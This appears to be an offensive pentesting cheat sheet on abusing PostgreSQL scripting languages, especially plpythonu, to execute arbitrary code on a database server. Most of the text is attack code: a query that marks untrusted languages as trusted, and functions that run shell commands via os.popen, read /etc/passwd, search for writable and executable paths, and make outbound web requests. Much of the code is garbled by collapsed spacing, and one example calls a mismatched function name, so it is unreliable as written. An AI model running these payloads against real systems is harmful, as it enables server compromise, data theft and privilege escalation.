The PostgreSQL database you got access to may have different scripting languages installed that you could abuse to execute arbitrary code.
You can get them running:
\dL *SELECT lanname,lanpltrusted,lanacl FROM pg_language;
Most of the scripting languages you can install in PostgreSQL have 2 flavours: the trusted and the untrusted. The untrusted will have a name ended in "u" and will be the version that will allow you to execute code and use other interesting functions. This are languages that if installed are interesting:
plpythonu
plpython3u
plperlu
pljavaU
plrubyu
... (any other programming language using an insecure version)
If you find that an interesting language is installed but untrusted by PostgreSQL (lanpltrusted is false) you can try to trust it with the following line so no restrictions will be applied by PostgreSQL:
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';# Tocheck your permissions over the table pg_languageSELECT*FROM information_schema.table_privileges WHERE table_name ='pg_language';
If you don't see a language, you could try to load it with (you need to be superadmin):
Note that it's possible to compile the secure versions as "unsecure". Check this for example. So it's always worth trying if you can execute code even if you only find installed the trusted one.
plpythonu/plpython3u
CREATE OR REPLACEFUNCTIONexec (cmd text)RETURNSVARCHAR(65535) stableAS $$ import osreturn os.popen(cmd).read()#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})$$LANGUAGE'plpythonu';SELECT cmd("ls"); #RCE with popen or execve
CREATE OR REPLACEFUNCTIONget_user (pkg text)RETURNSVARCHAR(65535) stableAS $$ import osreturn os.getlogin()$$LANGUAGE'plpythonu';SELECT get_user(""); #Get user, para is useless
CREATE OR REPLACEFUNCTIONlsdir (dir text)RETURNSVARCHAR(65535) stableAS $$ import jsonfrom os import walk files =next(walk(dir), (None, None, []))return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]$$LANGUAGE'plpythonu';SELECT lsdir("/"); #List dir
CREATE OR REPLACEFUNCTIONfindw (dir text)RETURNSVARCHAR(65535) stableAS $$ import os def my_find(path): writables = [] def find_writable(path):ifnot os.path.isdir(path):returnif os.access(path, os.W_OK): writables.append(path)ifnot os.listdir(path):returnelse:for item in os.listdir(path): find_writable(os.path.join(path, item)) find_writable(path)return writablesreturn", ".join(my_find(dir))$$LANGUAGE'plpythonu';SELECT findw("/"); #Find Writable folders from a folder (recursively)
CREATE OR REPLACEFUNCTIONfind_file (exe_sea text)RETURNSVARCHAR(65535) stableAS $$ import os def my_find(path): executables = [] def find_executables(path):ifnot os.path.isdir(path): executables.append(path)if os.path.isdir(path):ifnot os.listdir(path):returnelse:for item in os.listdir(path): find_executables(os.path.join(path, item)) find_executables(path)return executables a = my_find("/") b = []for i in a:if exe_sea in os.path.basename(i): b.append(i)return", ".join(b)$$LANGUAGE'plpythonu';SELECT find_file("psql"); #Find a file
CREATE OR REPLACEFUNCTIONfindx (dir text)RETURNSVARCHAR(65535) stableAS $$ import os def my_find(path): executables = [] def find_executables(path):ifnot os.path.isdir(path) and os.access(path, os.X_OK): executables.append(path)if os.path.isdir(path):ifnot os.listdir(path):returnelse:for item in os.listdir(path): find_executables(os.path.join(path, item)) find_executables(path)return executables a = my_find(dir) b = []for i in a: b.append(os.path.basename(i))return", ".join(b)$$LANGUAGE'plpythonu';SELECT findx("/"); #Find an executables in folder (recursively)
CREATE OR REPLACEFUNCTIONfind_exe (exe_sea text)RETURNSVARCHAR(65535) stableAS $$ import os def my_find(path): executables = [] def find_executables(path):ifnot os.path.isdir(path) and os.access(path, os.X_OK): executables.append(path)if os.path.isdir(path):ifnot os.listdir(path):returnelse:for item in os.listdir(path): find_executables(os.path.join(path, item)) find_executables(path)return executables a = my_find("/") b = []for i in a:if exe_sea in i: b.append(i)return", ".join(b)$$LANGUAGE'plpythonu';SELECT find_exe("psql"); #Find executableby susbstring
CREATE OR REPLACEFUNCTIONread (pathtext)RETURNSVARCHAR(65535) stableAS $$ import base64 encoded_string= base64.b64encode(open(path).read())return encoded_string.decode('utf-8')returnopen(path).read()$$LANGUAGE'plpythonu';selectread('/etc/passwd'); #Read a filein b64
CREATE OR REPLACEFUNCTIONget_perms (pathtext)RETURNSVARCHAR(65535) stableAS $$ import osstatus= os.stat(path) perms = oct(status.st_mode)[-3:]returnstr(perms)$$LANGUAGE'plpythonu';select get_perms("/etc/passwd"); # Get perms of file
CREATE OR REPLACEFUNCTIONreq2 (urltext)RETURNSVARCHAR(65535) stableAS $$ import urllib r = urllib.urlopen(url)return r.read()$$LANGUAGE'plpythonu';SELECT req2('https://google.com'); #Request using python2CREATE OR REPLACEFUNCTIONreq3 (urltext)RETURNSVARCHAR(65535) stableAS $$from urllib import request r = request.urlopen(url)return r.read()$$LANGUAGE'plpythonu';SELECT req3('https://google.com'); #Request using python3